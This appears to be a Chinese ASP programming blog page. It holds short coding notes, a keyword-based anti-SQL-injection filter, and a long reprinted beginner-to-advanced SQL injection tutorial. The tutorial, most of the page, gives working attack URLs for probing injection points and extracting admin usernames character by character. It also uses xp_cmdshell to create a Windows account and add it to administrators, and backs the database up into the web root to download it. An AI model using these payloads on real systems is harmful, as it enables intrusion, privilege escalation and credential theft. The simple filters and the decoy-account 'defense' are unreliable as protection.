注册 登陆
浏览模式: 标准 | 列表 分类: ASP

sql语句中的like

前面在写代码的时候碰到一个like查找命令
先前一直以为是
比如:Where Title like '娱乐'
刚刚才醒悟过来-_-原来是
Where Title like '%娱乐%'
[cry]真是严重失误啊,浪费了不少时间在这个like上。

文本域撑破

用style固定住格式就行了
代码:
<TABLE style=" table-layout:fixed;word-break:break-all">

如何加密

写法如下
[html]<script>
<!--
document.write(unescape("%u6211%u6655"));
//-->
</script>[/html]

弹壳的许愿墙模型

打算把下面的这个代码
做个许愿墙[html]<html>
<head>
<title>显示隐藏</title>
<script language=JScript>
<!--
//可以打包为js文件;
var x0=0,y0=0,x1=0,y1=0;
var offx=6,offy=6;
var moveable=false;
var hover='orange',normal='slategray';//color;
var index=10000;//z-index;
var xx;
//开始拖动;
function startDrag(obj)
{
             if(event.button==1)
             {
                     //锁定标题栏;
                     obj.setCapture();
                     //定义对象;
                     var win = obj.parentNode;
                     var sha = win.nextSibling;
                     //记录鼠标和层位置;
                     x0 = event.clientX;
                     y0 = event.clientY;
                     x1 = parseInt(win.style.left);
                     y1 = parseInt(win.style.top);
                     //记录颜色;
                     normal = obj.style.backgroundColor;
                     //改变风格;
                     obj.style.backgroundColor = hover;
                     win.style.borderColor = hover;
                     obj.nextSibling.style.color = hover;
                     sha.style.left = x1 + offx;
                     sha.style.top     = y1 + offy;
                     moveable = true;
             }
}
//拖动;
function drag(obj)
{
             if(moveable)
             {
                     var win = obj.parentNode;
                     var sha = win.nextSibling;
                     win.style.left = x1 + event.clientX - x0;
                                             sha.style.left = parseInt(win.style.left) + offx;
                                             if ((y1 + event.clientY - y0)>0 &amp;&amp; (y1 + event.clientY - y0)<600){
                     win.style.top     = y1 + event.clientY - y0;
                     sha.style.top     = parseInt(win.style.top) + offy;
                     }
             }
}
//停止拖动;
function stopDrag(obj)
{
             if(moveable)
             {
                     var win = obj.parentNode;
                     var sha = win.nextSibling;
                     var msg = obj.nextSibling;
                     win.style.borderColor         = normal;
                     obj.style.backgroundColor = normal;
                     msg.style.color                 = normal;
                     sha.style.left = obj.parentNode.style.left;
                     sha.style.top     = obj.parentNode.style.top;
                     obj.releaseCapture();
                     moveable = false;
             }
}
//获得焦点;
function getFocus(obj)
{
             if(obj.style.zIndex!=index)
             {
                     index = index + 2;
                     var idx = index;
                     obj.style.zIndex=idx;
                     obj.nextSibling.style.zIndex=idx-1;
             }
}
//最小化;
function min(obj)
{
             var win = obj.parentNode.parentNode;
             var sha = win.nextSibling;
             var tit = obj.parentNode;
             var msg = tit.nextSibling;
             var flg = msg.style.display=="none";
             if(flg)
             {
                     win.style.height     = parseInt(msg.style.height) + parseInt(tit.style.height) + 2*2;
                     sha.style.height     = win.style.height;
                     msg.style.display = "block";
                     obj.innerHTML = "0";
             }
             else
             {
                     win.style.height     = parseInt(tit.style.height) + 2*2;
                     sha.style.height     = win.style.height;
                     obj.innerHTML = "2";
                     msg.style.display = "none";
             }
}
//关闭;
function cls(obj)
{
             var win = obj.parentNode.parentNode.parentNode;
             //var sha = win.nextSibling;
             win.style.visibility = "hidden";
             //sha.style.visibility = "hidden";
}
//显示/隐藏;
function ShowHide()
{
             if (xx!=null)
                                 if (xx.style.visibility == "hidden")
                                             xx.style.visibility = "visible";
                                 else if (xx.style.visibility == "visible")
                                             xx.style.visibility = "hidden";
}
//创建一个对象;
function xWin(id,w,h,l,t,tit,msg)
{
             index = index+2;
             this.id         = id;
             this.width     = w;
             this.height     = h;
             this.left     = l;
             this.top         = t;
             this.zIndex     = index;
             this.title     = tit;
             this.message = msg;
             this.obj         = null;
             this.bulid     = bulid;
             this.bulid();
             xx = document.getElementById('allx');
             xx.style.visibility = "visible";


}
//初始化;
function bulid()
{
             var str = ""
                     + "<div id='allx'><div id='xMsg'" + this.id + " "
                     + "style='"
                     + "z-index:" + this.zIndex + ";"
                     + "width:" + this.width + ";"
                     + "height:" + this.height + ";"
                     + "left:" + this.left + ";"
                     + "top:" + this.top + ";"
                     + "background-color:" + normal + ";"
                     + "color:" + normal + ";"
                     + "font-size:11px;"
                     + "font-family:Verdana;"
                     + "position:absolute;"
                     + "cursor:default;"
                     + "border:2px solid " + normal + ";"
                     + "' "
                     + "onmousedown='getFocus(this)'>"
                                 + "<div "
                                 + "style='"
                                 + "background-color:" + normal + ";"
                                 + "width:" + (this.width-2*2) + ";"
                                 + "height:20;"
                                 + "color:white;"
                                 + "' "
                                 + "onmousedown='startDrag(this)' "
                                 + "onmouseup='stopDrag(this)' "
                                 + "onmousemove='drag(this)' "
                                 + "ondblclick='min(this.childNodes[1])'"
                                 + ">"
                                             + "<span style='width:" + (this.width-2*14-4) + ";padding-left:3px;'>" + this.title + "</span>"
                                             + "<span style='width:14;border-width:0px;color:white;font-family:webdings;' onclick='min(this)'>0</span>"
                                             + "<span style='width:14;border-width:0px;color:white;font-family:webdings;' onclick='cls(this)'>r</span>"
                                 + "</div>"
                                             + "<div style='"
                                             + "width:100%;"
                                             + "height:" + (this.height-20-4) + ";"
                                             + "background-color:white;"
                                             + "line-height:14px;"
                                             + "word-break:break-all;"
                                             + "padding:3px;"
                                             + "'>" + this.message + "</div>"
                     + "</div>"
                     + "<div id='xshadow' style='"
                     + "width:" + this.width + ";"
                     + "height:" + this.height + ";"
                     + "top:" + this.top + ";"
                     + "left:" + this.left + ";"
                     + "z-index:" + (this.zIndex-1) + ";"
                     + "position:absolute;"
                     + "background-color:black;"
                     + "filter:alpha(opacity=40);"
                     + "'>by wildwind</div></div>";
             document.getElementById('msgbox').innerHTML = str;
                    
                    
}
//-->
</script>


<script language='JScript'>
<!--
function initialize()
{
             var a = new xWin("1",460,400,200,200,"显示隐藏","测试!");


}
window.onload = initialize;
//-->
</script>
</head>
<body onselectstart='return false' oncontextmenu='return false' scroll='no'>



<DIV class=textSheet
style="BORDER-RIGHT: #3E8529 1px solid; BORDER-TOP: #639517 1px solid; BORDER-LEFT: #3E8529 1px solid; BORDER-BOTTOM: #3E8529 1px solid">


<table width="128" height="20" border="0" ID="Table2" cellspacing="0" cellpadding="0">


     <td align="center" valign="middle" style="cursor:hand;font-size:32px;color: #808080"     onMouseMove="bgColor='#ffff99'" onmouseout="bgColor='#FFFFFF'" onclick="ShowHide()">
     <span style="font-size: 9pt">显示隐藏</span></td>
</table>
</DIV>
<div id="msgbox"></div>
</body>
</html>[/html]

注入漏洞的修补方法

<%
dim mdb,sessionvar                
mdb="data/#data.mdb"           '数据库存放地点,修改你自己的
sessionvar="xs20"            '更改为任意字符
'----------防SQL注入通用代码-------
'  迷网 收集整理
'MiWang's Blog:http://cxw.008.net
'----------------------------------
On Error Resume Next
Dim strTemp,hk
If Trim(Request.QueryString) <> "" Then strTemp =Trim(Request.QueryString)
strTemp = LCase(strTemp)
hk=0
If Instr(strTemp,"%")<>0 then hk=1
If Instr(strTemp,"count(")<>0 then hk=1
If Instr(strTemp,"asc(")<>0 then hk=1
If Instr(strTemp,"mid(")<>0 then hk=1
If Instr(strTemp,"char(")<>0 then hk=1
If Instr(strTemp,"xp_cmdshell")<>0 then hk=1
If Instr(strTemp,"'")<>0 then hk=1
if hk=1 then
Response.Write "<SCRIPT LANGUAGE=JavaScript>alert ('迷网提醒:感谢您的测试,如果发现漏洞请通知我!');window.location.href='http://cxw.yuesky.com&...
response.end
hk=0
End If
'-----end 防止SQL注入------
%>

自行研究一下!这个来自别人的注入漏洞写法

三步堵死SQL注入漏洞

SQL注入是什么?

  许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访问),根据程序返回的结果,获得某些想得知的数据,这就是所谓的SQL Injection,即SQL注入。
网站的恶梦——SQL注入

  SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害。

防御SQL注入有妙法

  第一步:很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用 来防止别人进行手动注入测试(。

  可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。


        第二步:对于注入分析器的防范,笔者通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。

  第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,为什么这么说呢?笔者想,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。

  1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。

  2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。

  3.把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。

  我们通过上面的三步完成了对数据库的修改。

  这时是不是修改结束了呢?其实不然,要明白你做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。我想这时大多数人已经想到了办法,对,只要在管理员登录的页面文件中写入字符限制就行了!就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。

SQL注入漏洞攻防必杀技

SQL注入是常见的利用程序漏洞进行攻击的方法,是很多入门级“黑客”喜欢采用的攻击方式,近来网上

对它的讨论很热烈,所以我在本期专题中为读者揭示SQL攻击的主要原理以及如何防范这种攻击。



攻击源于程序漏洞 SQL注入原理



导致SQL注入攻击的漏洞并非系统造成的,主要是程序员在编程中忽略了安全因素,他的原理并不复杂。



引 言

  随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业

的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户

输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返

回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

  SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面

的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉



  但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分

析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。

  根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。

在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋

友zwell撰写,希望对安全工作者和程序员都有用处。了解 ASP注入的朋友也请不要跳过入门篇,因为部

分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...

  入门篇

  如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好

HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不

能获得更多的提示信息。

  第一节、SQL注入原理

  以下我们从一个网站www.mytest.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数

据)。

  在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.mytest.

com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:

Microsoft JET Database Engine 错误 '80040e14'

  字符串的语法错误 在查询表达式 'ID=49'' 中。

/showdetail.asp,行8

  从这个错误提示我们能看出下面几点:

  1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。

  2. 程序没有判断客户端提交的数据是否符合程序要求。

  3. 该SQL语句所查询的表中有一名为ID的字段。

  从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务

器的信息,从而获取你想到得到的资料。

  第二节、判断能否进行SQL注入

  看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?

  其实,这并不是最好的方法,为什么呢?

  首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句

的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系

统管理员联络。

  其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数

,如果你用单引号测试,是测不到注入点的

  那么,什么样的测试方法才是比较准确呢?答案如下:

  ① http://www.mytest.com/show...

  ② http://www.mytest.com/show... ;and 1=1

  ③ http://www.mytest.com/show... ;and 1=2

  这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:

  可以注入的表现:

  ① 正常显示(这是必然的,不然就是程序有错误了)

  ② 正常显示,内容基本与①相同

  ③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为

空(程序加了on error resume next)

  不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类

型转换时出错。

  当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我

将在中级篇的“SQL注入一般步骤”再做分析。

  第三节、判断数据库类型及注入方法

  不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。

一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

  怎么让程序告诉你它使用的什么数据库呢?来看看:

  SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以

直接从出错信息获取,方法如下:

  http://www.mytest.com/show... ;and user>0

  这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现

这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我

们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个

nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错

,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int

的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在

以后的篇幅里,大家会看到很多用这种方法的语句。

  顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几

乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是

:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

  如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区

别入手,Access和

SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但

在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

  在确认可以注入的情况下,使用下面的语句:

http://www.mytest.com/show... ;and (select count(*) from sysobjects)>0

http://www.mytest.com/show... ;and (select count(*) from msysobjects)>0

  如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.mytest.com/show...

id= 49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,

页面也与原页面完全不同。

  如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址

,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情

况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。



进阶篇

  在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来

,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:

  第一节、SQL注入的一般步骤

  首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

  其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:

  (A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:

Select * from 表名 where 字段=49
  注入的参数为ID=49 And [查询条件],即是生成语句:

Select * from 表名 where 字段=49 And [查询条件]
  (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:

Select * from 表名 where 字段=’连续剧’
  注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:

Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
  ? 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:

Select * from 表名 where 字段like ’%关键字%’
  注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:

Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
  接着,将查询条件替换成SQL语句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0
  如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法

)。如此循环,直至猜到表名为止。

  表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。

  有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很

对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为

别人的程序写得不严密或使用者保密意识不够,才有得下手。

  有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在

高级篇中会做介绍。

  最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Asc

ii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。

  我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:

http://www.mytest.com/show... ;and (select top 1 len(username) from Admin)>0

  先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一

直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8

  当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后

,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

  同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之

间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。

  第二节、SQL注入常用函数

  有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL

水平,特别是一些常用的函数及命令。

Access:asc(字符) SQLServer:unicode(字符)

  作用:返回某字符的ASCII码

Access:chr(数字) SQLServer:nchar(数字)

  作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

  作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字) SQLServer:abc (数字)

  作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B And C SQLServer:A between B And C

  作用:判断A是否界于B与C之间

  第三节、中文处理方法

  在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码

有所了解,“中文恐惧症”很快可以克服。

  先说一点常识:

  Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

  SQL Server中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码

,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。

  了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范

围大一点外,方法是没什么两样的。



高级篇

  看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程

序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。

  第一节、利用系统表注入SQLServer数据库

  SQL Server是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方

便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:

  ① http://Site/url.asp?id=1;e... master..xp_cmdshell “net user name password /add”--

  分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServe

r中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调

用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:

  ② http://Site/url.asp?id=1;e... master..xp_cmdshell “net localgroup name

administrators /add”--

  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用

于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

  ③ http://Site/url.asp?id=1 ;and db_name()>0

  前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是

连接的数据库名。

  ④ http://Site/url.asp?id=1;b... database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’

;--

  这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web

目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知

道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。

  ⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’

and status>0)>0

  前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=

’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息

把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

  ⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from

sysobjects)>0

  从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的

第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接

影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵

,也许安全与开发本来就是相辅相成的吧。

  第二节、绕过程序限制继续注入

  在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注

入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到

绕过程序限制的目的。

  在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“

利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:

  简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;

如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

  第三节、经验小结

  1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用sele

cT这样尝试一下。

  2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取

相同的名字。

  3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URL

Encode的相关介绍。

  4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址

尽量不用Get。

  5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即

可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

  防范方法

  SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入

不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的R

equest函数,可以对一切的SQL注入Say NO,函数如下:






Function SafeRequest(ParaName,ParaType)
 '--- 传入参数 ---
 'ParaName:参数名称-字符型
 'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

 Dim Paravalue
 Paravalue=Request(ParaName)
 If ParaType=1 then
  If not isNumeric(Paravalue) then
   Response.write "参数" &amp; ParaName &amp; "必须为数字型!"
   Response.end
  End if
 Else
  Paravalue=replace(Paravalue,"'","''")
 End if
 SafeRequest=Paravalue
End function



不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。

获取某字符

mid("jackfeng",4,1)
这样就能获取到k这个字符了!
或者使用
mid(username,4,1)
这样就能获取数据表里面的第四个字符了~~~
感谢路奇提供帮助哈

Ad Rotator 组件

  Ad Rotator组件创建一个Ad Rotator对象,该对象在Web页上自动轮换显示广告图像。当用户每次打开或重新加载Web页时,Ad Rotator组件将根据在Rotator Schedule文件中指定的信息显示一个新广告。
  可以记录每个广告被多少个用户单击访问,方法是在Rotator Schedule文件中设置一个URL参数,将用户定向到重定向文件中。如果指定了此参数,那么当每次跳转到一个广告客户的URL时,都会在Web服务器的活动日志中作相应的记录。关于活动日志的详细信息,请参阅记录Web站点活动。
  文件名
  adrot.dll Ad Rotator组件。
  重定向文件 可选文件,用于实现重定向并允许Ad Rotator组件记录每个广告被多少个用户单击访问。
  Rotator Schedule文件文本文件,包含广告的显示计划和文件信息。此文件必须在Web服务器的某个虚拟路径上可用。
  
  语法
  Set AdRotator = Server.CreateObject("MSWC.AdRotator")
  参数
  AdRotator 指定AdRotator对象的名称,此对象通过调用Server.CreateObject创建。
  注册表项
  无。
  属性
  Border指定广告边框的大小。
  Clickable指定广告是否为超链接。
  TargetFrame 指定显示广告的框架的名称。
  方法
  GetAdvertisement从数据文件中获取下一个计划广告的详细说明并将其格式化为HTML格式。
  示例
  下面的示例在用户每次查看Web页时显示不同的广告。
  <% Set ad = Server.CreateObject("MSWC.AdRotator") %>
  <%= ad.GetAdvertisement("/ads/adrot.txt") %>
  下面的HTML由GetAdvertisement方法生成且被添加到网页的输出中,以便显示Rotator Schedule文件中的下一个广告。
  <A HREF=/DownloadFiles\isapi\adredir.asp?http:\\www.company.com\>
  <IMG SRC=/DownloadFiles\ads\homepage\chlogolg.gif ALT="Check out the new Technology Center" WIDTH=440 HEIGHT=60 BORDER=1></A>
  Rotator Schedule文件包含的Ad Rotator组件用于管理和显示各种广告图象的信息。在该文件中,用户可以指定广告的细节,例如广告的空间大小、使用的图象文件以及每个文件的显示时间所占百分比。
  Rotator Schedule文件由两部分组成。第一部分设置应用于轮换安排中所有广告图象的参数;第二部分指定每个单独广告的文件和位置信息以及应当接收的每个广告的显示时间所占百分比。这两部分由全是星号(*)的一行隔开。
  在第一部分中有四个全局参数,每个参数都由一个关键字和值组成。所有的参数都是可选的。如果用户未指定全局参数的值,则Ad Rotator将使用默认的值。在这种情况下,文件的第一行必须只有一个星号(*)。
  语法
     [REDIRECT URL]
  [WIDTH numWidth]
  [HEIGHT numHeight]
  [BORDER numBorder]
  *
  adURL
  adHomePageURL
  Text
  impressions
  参数
  URL
  指定动态链接库(.dll)或执行重定向的应用程序(.asp)文件的路径。该路径必须是完整的(http://MyServer/MyDir/redi...或相对的虚拟目录(/MyDir/redirect.asp)。
  numWidth
  以像素为单位指定网页上广告的宽度。默认值是440个像素。
  numHeight
  以像素为单位指定网页上广告的高度。默认值是60个像素。
  numBorder
  以像素为单位指定广告四周超链接的边框宽度。默认值是1个像素。如果将该参数设置为0,将没有边框。
  adURL

  广告图象文件的位置。
  adHomePageURL

  广告主页的位置。如果广告客户没有主页,请在该行写上一个连字符(-),指出该广告没有链接。
  Text
  在浏览器不支持图形或关闭图象功能的情况下显示的替代文字。
  impressions
  从0到4,294,967,295的数,指出广告的相对权值。
  例如,如果Rotator Schedule文件包含3个广告,其impressions分别设为2、3和5,则第一个广告占用20%的显示时间,第二个占用30%的显示时间,第三个占用50%的显示时间。
  示例
  下面的脚本演示是如何使用Rotator Schedule文件显示各种广告以及如何包含重定向文件。
  ---ADROT.TXT---
REDIRECT /scripts/adredir.asp WIDTH 440 HEIGHT 60 BORDER 1 *
  http://kabaweb/ads/homepag... http://www.bytecomp.com/Ch... out the ByteComp
  Technology
  Center20 http://kabaweb/ads/homepag... -Sponsored by Flyteworks20 http://kabaweb/ads/homepag... http:// www.proelectron.com/28.8 internal PC modem, only $99 80 http://kabaweb/ads/homepag... http://www.clocktower.com/... #1 Sports site on the net 10
  
  重定向文件是用户创建的文件。它通常包含用来解析由 AdRotator 对象发送的查询字符串的脚本并将用户重定向到与用户所单击的广告所相关的URL。
  用户也可以将脚本包含进重定向文件中,以便统计单击某一特定广告的用户的数目并将这一信息保存到服务器上的某一文件中。
  示例
  下面的示例将用户重定向到广告客户的主页。
  ---ADREDIR.ASP---
  <% Response.Redirect(Request.QueryString("url")) %>
  AdRotator 对象有下列属性:
  一.Border
  二.Clickable
  三.TargetFrame
  1.Border 属性允许用户指定显示广告时四周是否带边框。
  语法
  Border = size
  参数
  size
  指定显示的广告四周的边框宽度。其默认值在 Rotator Schedule 文件的文件头中设置。
  示例
  下面的例子显示不带边框的广告。
  <% Set ad = Server.CreateObject("MSWC.AdRotator") ad.Border = 0 %>
  <%= ad.GetAdvertisement("/ads/adrot.txt") %>
  2.Clickable
  Clickable 属性允许用户指定是否将广告作为超链接显示。
  语法
  Clickable = value
  参数
  value
  指定广告是否为超链接。此参数可为下列值之一。默认值是TRUE。值意义:TRUE 将广告作为超链接显示。
  FALSE 将广告不作为超链接显示。
  示例
  下面的示例只将广告作为图像显示,而不是作为超链接。
  <% Set ad = Server.CreateObject("MSWC.AdRotator") ad.Clickable = FALSE %>
  <%= ad.GetAdvertisement("/ads/adrot.txt") %>
  3.目标框架
  TargetFrame 属性指定链接将被装入的目标框架。该属性完成的功能等价于 HTML 语句中的 TARGET 参数。
  语法
  TargetFrame = frame
  参数
  frame
